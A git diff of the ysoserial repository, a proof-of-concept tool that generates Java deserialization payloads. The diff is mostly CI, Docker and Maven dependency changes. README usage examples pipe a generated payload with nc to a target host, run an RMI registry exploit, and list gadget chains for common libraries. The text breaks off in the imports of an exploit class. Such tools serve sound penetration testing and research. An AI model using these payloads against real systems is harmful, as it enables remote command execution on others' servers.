path: out.txt
- uses: actions/upload-artifact@v3
with:
name: matrix
path: matrix.md
update-wiki:
needs: analyze
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
repository: ${{github.repository}}.wiki
- uses: actions/download-artifact@v3
with:
name: matrix
- uses: actions/download-artifact@v3
with:
name: out
- run: |
git config --local user.email "[email protected]"
git config --local user.name "GitHub Action"
git add matrix.md
git add out.txt
git commit -m "Add changes"
- uses: ad-m/github-push-action@master
with:
repository: ${{github.repository}}.wiki
branch: master
github_token: ${{ secrets.GITHUB_TOKEN }}
+13 -1
View File
@@ -1,5 +1,17 @@
/target
# java
*.class
# mvn
target/
# eclipse
.classpath
.project
.settings/
# idea
.idea/
*.iml
# tests
pwntest
+48 -5
View File
@@ -1,6 +1,49 @@
dist: trusty
language: java
jdk:
- oraclejdk8
- oraclejdk7
- openjdk7
- openjdk6
cache:
directories:
- $HOME/.m2
- $HOME/.mvn/
# jdk6 requires workarounds https://github.com/travis-ci/travis-ci/issues/9713
addons:
apt:
packages:
- openjdk-6-jdk
before_install:
- > # install mvn 3.2.5 for use with java6
which $HOME/.mvn/3.2.5/bin/mvn || mkdir -p $HOME/.mvn/3.2.5 &&
curl https://apache.osuosl.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz |
tar xz -C $HOME/.mvn/3.2.5 --strip-components=1
- if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then jdk_switcher use openjdk6; fi
- mvn -v
after_script:
- > # print more detailed info about test results
cat target/surefire-reports/TEST-ysoserial.test.payloads.PayloadsTest.xml |
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
matrix:
fast_finish: true
allow_failures:
- jdk: oraclejdk11
- jdk: openjdk6
- jdk: openjdk7
- jdk: openjdk9
- jdk: openjdk10
- jdk: openjdk11
include:
#- jdk: oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
- jdk: oraclejdk8
- jdk: oraclejdk11
- jdk: openjdk6
env: PATH=$HOME/.mvn/3.2.5/bin:$PATH
- jdk: openjdk7
- jdk: openjdk8
- jdk: openjdk9
- jdk: openjdk10
- jdk: openjdk11
+23
View File
@@ -0,0 +1,23 @@
FROM maven:3.5-jdk-8 as builder
WORKDIR /app
# download artifacts
COPY pom.xml .
COPY assembly.xml .
RUN mvn dependency:resolve
RUN mvn verify
RUN mvn compiler:help
# build
COPY src ./src
RUN mvn clean package -DskipTests
RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
FROM java:8-jdk-alpine
WORKDIR /app
COPY --from=builder /app/target/ysoserial.jar .
ENTRYPOINT ["java", "-jar", "ysoserial.jar"]
+81 -19
View File
@@ -1,18 +1,30 @@
# ysoserial
[![Join the chat at https://gitter.im/frohoff/ysoserial](
https://badges.gitter.im/frohoff/ysoserial.svg)](
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Travis Build Status](https://api.travis-ci.com/frohoff/ysoserial.svg?branch=master)](https://travis-ci.com/frohoff/ysoserial)
[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png)
![logo](ysoserial.png)
## Description
Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/).
Updated to include a [JRE <= 1.7u21 gadget chain](https://gist.github.com/frohoff/24af7913611f8406eaf3).
Originally released as part of AppSecCali 2015 Talk
["Marshalling Pickles: how deserializing objects will ruin your day"](
https://frohoff.github.io/appseccali-marshalling-pickles/)
with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Later updated to include additional gadget chains for
[JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and several other libraries.
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of
objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
@@ -29,23 +41,54 @@ are not responsible or liable for misuse of the software. Use responsibly.
## Usage
```shell
$ java -jar ysoserial-0.0.3-all.jar
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
CommonsCollections1 [commons-collections:commons-collections:3.1]
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Jdk7u21 []
Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
Payload Authors Dependencies
------- ------- ------------
Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1
Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
## Examples
```shell
$ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
@@ -54,19 +97,33 @@ $ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial-0.0.3-all.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 < groovypayload.bin
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
```
## Installation
1. Download the latest jar from the "releases" section.
1. Download the latest jar from
[JitPack](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
[![Download Latest Snapshot](https://img.shields.io/badge/download-master-green.svg)](
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
Note that GitHub-hosted releases were removed in compliance with the
[GitHub Community Guidelines](
https://help.github.com/articles/github-community-guidelines/#what-is-not-allowed)
## Building
Requires Java 1.7+ and Maven 3.x+
```mvn clean package -DskipTests```
## Code Status
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
## Contributing
@@ -75,3 +132,8 @@ $ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 Comm
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
## See Also
* [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.
* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries
* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization
-3
View File
@@ -1,3 +0,0 @@
grant {
permission java.security.AllPermission;
};
+40
View File
@@ -0,0 +1,40 @@
# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
# build version
version: '{build}'
# Do not build on tags
skip_tags: true
# enviroment settings
environment:
matrix:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
M2_HOME: C:\bin\apache-maven-3.2.5
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
- JAVA_HOME: C:\Program Files\Java\jdk1.8.0
matrix:
allow_failures:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
# install required tools (maven, secure-file, encrypted files)
install:
- cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
- cmd: echo %JAVA_HOME%
- cmd: echo %M2_HOME%
# build and install artifacts
build_script:
- '"%M2_HOME%\bin\mvn" clean install -DskipTests'
# verify artifacts
test_script:
- '"%M2_HOME%\bin\mvn" test'
# preserve dependencies between builds
cache:
- C:\Users\appveyor\.m2
- C:\bin\apache-maven-3.2.5
+28
View File
@@ -0,0 +1,28 @@
<assembly
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
<id>fat-tests</id>
<formats>
<format>jar</format>
</formats>
<includeBaseDirectory>false</includeBaseDirectory>
<dependencySets>
<dependencySet>
<outputDirectory>/</outputDirectory>
<useProjectArtifact>true</useProjectArtifact>
<unpack>true</unpack>
<scope>test</scope>
</dependencySet>
</dependencySets>
<fileSets>
<fileSet>
<directory>${project.build.directory}/test-classes</directory>
<outputDirectory>/</outputDirectory>
<includes>
<include>**/*.class</include>
</includes>
<useDefaultExcludes>true</useDefaultExcludes>
</fileSet>
</fileSets>
</assembly>
+377 -14
View File
@@ -4,11 +4,11 @@
<groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId>
<version>0.0.3-SNAPSHOT</version>
<version>0.0.6-SNAPSHOT</version>
<packaging>jar</packaging>
<name>ysoserial</name>
<url>http://maven.apache.org</url>
<url>https://github.com/frohoff/ysoserial/</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -19,10 +19,14 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.2</version>
<version>3.5.1</version>
<configuration>
<source>1.5</source>
<target>1.5</target><!-- maximize compatibility -->
<!-- maximize compatibility -->
<source>1.6</source>
<target>1.6</target>
<!-- ignore noisy internal api warnings -->
<compilerArgument>-XDignore.symbol.file</compilerArgument>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
@@ -35,9 +39,7 @@
<mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<descriptor>assembly.xml</descriptor>
</configuration>
<executions>
<execution>
@@ -49,9 +51,28 @@
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.0.0-M1</version>
<configuration>
<trimStackTrace>false</trimStackTrace>
<systemPropertyVariables>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
</systemPropertyVariables>
</configuration>
</plugin>
</plugins>
</build>
<repositories>
<repository>
<id>jenkins</id>
<layout>default</layout>
<url>https://repo.jenkins-ci.org/public/</url>
</repository>
</repositories>
<dependencies>
<!-- testing depedencies -->
@@ -74,6 +95,12 @@
<version>1.8.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.nanohttpd</groupId>
<artifactId>nanohttpd</artifactId>
<version>2.2.0</version>
<scope>test</scope>
</dependency>
<!-- non-gadget dependencies -->
@@ -85,7 +112,7 @@
<dependency>
<groupId>org.jboss.shrinkwrap.resolver</groupId>
<artifactId>shrinkwrap-resolver-depchain</artifactId>
<version>2.1.1</version>
<version>2.2.6</version>
<type>pom</type>
</dependency>
<dependency>
@@ -93,6 +120,62 @@
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<artifactId>remoting</artifactId>
<groupId>org.jenkins-ci.main</groupId>
<version>2.55</version>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
<version>3.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.remoting</groupId>
<artifactId>jboss-remoting</artifactId>
<version>4.0.19.Final</version>
</dependency>
<dependency>
<groupId>org.jboss</groupId>
<artifactId>jboss-common-core</artifactId>
<version>2.5.0.Final</version>
<exclusions>
<exclusion>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-spi</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.jboss.xnio</groupId>
<artifactId>xnio-nio</artifactId>
<version>3.3.4.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.sasl</groupId>
<artifactId>jboss-sasl</artifactId>
<version>1.0.5.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.remotingjmx</groupId>
<artifactId>remoting-jmx</artifactId>
<version>2.0.1.Final</version>
</dependency>
<!-- gadget dependecies -->
@@ -102,14 +185,19 @@
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.1</version>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
@@ -126,5 +214,280 @@
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>net.sf.json-lib</groupId>
<artifactId>json-lib</artifactId>
<classifier>jdk15</classifier>
<version>2.4</version>
</dependency>
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-util</artifactId>
<version>6.23.0</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.apache.myfaces.core</groupId>
<artifactId>myfaces-impl</artifactId>
<version>2.2.9</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.5.2</version>
</dependency>
<dependency>
<groupId>rhino</groupId>
<artifactId>js</artifactId>
<version>1.7R2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.33.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.interceptor</groupId>
<artifactId>jboss-interceptor-core</artifactId>
<version>2.0.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.interceptor</groupId>
<artifactId>jboss-interceptor-spi</artifactId>
<version>2.0.0.Final</version>
</dependency>
<dependency>
<groupId>javax.enterprise</groupId>
<artifactId>cdi-api</artifactId>
<version>1.0-SP1</version>
</dependency>
<dependency>
<groupId>javax.interceptor</groupId>
<artifactId>javax.interceptor-api</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.21</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-jdk14</artifactId>
<version>1.7.21</version>
</dependency>
<dependency>
<groupId>org.clojure</groupId>
<artifactId>clojure</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.12.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-jta</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>transactions-api</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>com.atomikos</groupId>
<artifactId>atomikos-util</artifactId>
<version>4.0.6</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>5.1.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.1.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.20</version>
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-jasperreports-plugin</artifactId>
<version>2.5.20</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>org.ceylon-lang</groupId>
<artifactId>ceylon.language</artifactId>
<version>1.3.3</version>
</dependency>
</dependencies>
<profiles>
<profile>
<id>jdk6</id>
<activation>
<jdk>1.6</jdk>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
<!-- workaround for non-overlapping TLS versions in JDK6 and central repo
https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
<repositories>
<repository>
<id>repo1</id>
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<id>repo1</id>
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
</pluginRepository>
</pluginRepositories>
</profile>
<profile>
<id>hibernate5</id>
<activation>
<property>
<name>hibernate5</name>
</property>
</activation>
<dependencies>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.0.7.Final</version>
</dependency>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
</profile>
<profile>
<id>apache-el</id>
<activation>
<activeByDefault>true</activeByDefault>
<property>
<name>el</name>
<value>apache</value>
</property>
</activation>
<dependencies>
<dependency>
<groupId>org.mortbay.jasper</groupId>
<artifactId>apache-el</artifactId>
<version>8.0.27</version>
</dependency>
</dependencies>
</profile>
<profile>
<id>juel</id>
<activation>
<property>
<name>el</name>
<value>juel</value>
</property>
</activation>
<dependencies>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
</dependencies>
</profile>
</profiles>
<distributionManagement>
<repository>
<id>github</id>
<name>GitHub Packages</name>
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
</repository>
</distributionManagement>
</project>
-97
View File
@@ -1,97 +0,0 @@
import java.beans.EventHandler;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javassist.util.proxy.ProxyFactory;
import javax.xml.transform.Templates;
import sun.misc.Unsafe;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
public class Tester {
public static class Foo {
public boolean value() {
System.out.println("called");
return true;
}
}
public static void main(String[] args) throws Exception {
// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class);
//
// t.equals(new Foo());
ProxyFactory pf2 = new ProxyFactory();
ProxyFactory pf = new ProxyFactory();
pf.setInterfaces(new Class[]{ Serializable.class });
pf.setSuperclass(EventHandler.class);
pf.setUseWriteReplace(true);
pf.setUseCache(false);
// public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) {
Templates t = Gadgets.createTemplatesImpl("hostname");
Class c = pf.createClass();
Constructor ctor = c.getConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(t, "getOutputProperties", null, null);
//Object o = getUnsafe().allocateInstance(c);
//Object o = c.newInstance();
// System.out.println(pf);
// System.out.println(pf.hashCode());
// System.out.println(c);
System.out.println(c.getName());
System.out.println(o.getClass().getName());
// System.out.println(o);
// System.out.println(Arrays.asList(c.getInterfaces()));
byte[] serialized = Serializer.serialize(o);
//
//// System.out.write(serialized);
//
try {
Object o2 = Deserializer.deserialize(serialized);
//System.out.println(o2);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
} catch (Exception e) {
e.printStackTrace();
}
getUnsafe().allocateInstance(Class.class);
}
public static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe)f.get(null);
} catch (Exception e) { throw new RuntimeException(e); }
}
}
+22 -14
View File
@@ -1,19 +1,15 @@
package ysoserial;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.*;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;
@@ -30,6 +26,7 @@ public class GeneratePayload {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}
try {
@@ -37,6 +34,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command);
PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.postSerializeRelease(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
@@ -47,18 +45,28 @@ public class GeneratePayload {
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
}
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
}
}
+50
View File
@@ -0,0 +1,50 @@
package ysoserial;
import java.util.*;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (! first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<String>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
+424
View File
@@ -0,0 +1,424 @@
package ysoserial.exploit;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Executor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;
import java.util.logging.Handler;
import java.util.logging.Level;
